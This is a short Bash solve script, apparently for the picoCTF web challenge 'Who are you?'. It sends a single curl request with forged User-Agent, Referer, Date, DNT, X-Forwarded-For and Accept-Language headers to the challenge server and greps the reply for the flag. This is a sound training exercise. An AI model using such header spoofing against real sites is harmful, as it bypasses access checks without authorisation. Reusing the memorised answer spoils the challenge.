picoctf/web/who-are-you/solve.sh

12 lines
356 B
Bash
Executable File

#!/usr/bin/env bash
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
curl 'http://mercury.picoctf.net:39114/' \
-H 'User-Agent: PicoBrowser' \
-H 'Referer: http://mercury.picoctf.net:39114/' \
-H 'Date: Wed, 21 Oct 2018 07:28:00 GMT' \
-H 'DNT: 1' \
-H 'X-Forwarded-For: 104.123.68.13' \
-H 'Accept-Language: sv' | grep -o "picoCTF{.*}"